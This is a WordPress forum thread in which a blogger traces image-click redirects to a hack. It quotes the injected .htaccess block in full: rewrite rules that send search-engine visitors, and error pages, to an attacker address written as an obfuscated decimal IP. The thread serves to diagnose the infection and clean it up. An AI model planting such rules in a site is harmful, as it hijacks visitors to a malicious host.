Forums

WordPress › Support » Plugins and Hacks

[resolved] weird redirection whene i click a photo (5 posts)

  1. alyas2022
    Member
    Posted 2 years ago #

    in my last article, whene i click the photo added via NxtGenGalley i have a redirection to this page : http://89.149.241.112/~delgado/

    i delete the image and reupload it, and after a few hours the same thing happen..
    and this is happening just with the last article...

  2. tomontoast
    Member
    Posted 2 years ago #

    This is most likely to be malware installed on your computer, but may also be because your wordpress installation has been hacked. If you go to the source what is the url for the link? If wordpress has been hacked you will see href="http://89.149.241.112/~delgado/" if your computer has been infected you will see href="http://www.mysite.com/link-to-image/"

  3. alyas2022
    Member
    Posted 2 years ago #

    the source doesn't containe anykind of outside url...

    here is the page im talking about :

    http://seductionbykamal.com/comment-exciter-une-femme-et-la-seduire/

  4. Jan Dembowski
    Member
    Posted 2 years ago #

    I'm not sure how exactly but your blog is hacked. When I click that img link I got redirected to the delgado URL.

    See http://codex.wordpress.org/FAQ_My_site_was_hacked

    Even though you are obscuring the version number, upgrade to the latest version of WordPress. You are not running 2.8.4.

  5. alyas2022
    Member
    Posted 2 years ago #

    in fact, yes it was hacked, and i don't know either how they did it, but i found plenty of .htaccess files in different directories that contains

    RewriteEngine On
Options +FollowSymlinks
RewriteBase /

RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ http://1502998896/~delgado/ [R=301,L]

ErrorDocument 401 http://1502998896/~delgado/
ErrorDocument 403 http://1502998896/~delgado/
ErrorDocument 404 http://1502998896/~delgado/
ErrorDocument 500 http://1502998896/~delgado/

    the last lines refere to the site i've been redirected to.

    yes jdembowski, i was hidding my wp version... but apparently, id didn't do much.
    thanks guys for your time

Topic Closed

This topic has been closed to new replies.

About this Topic

Tags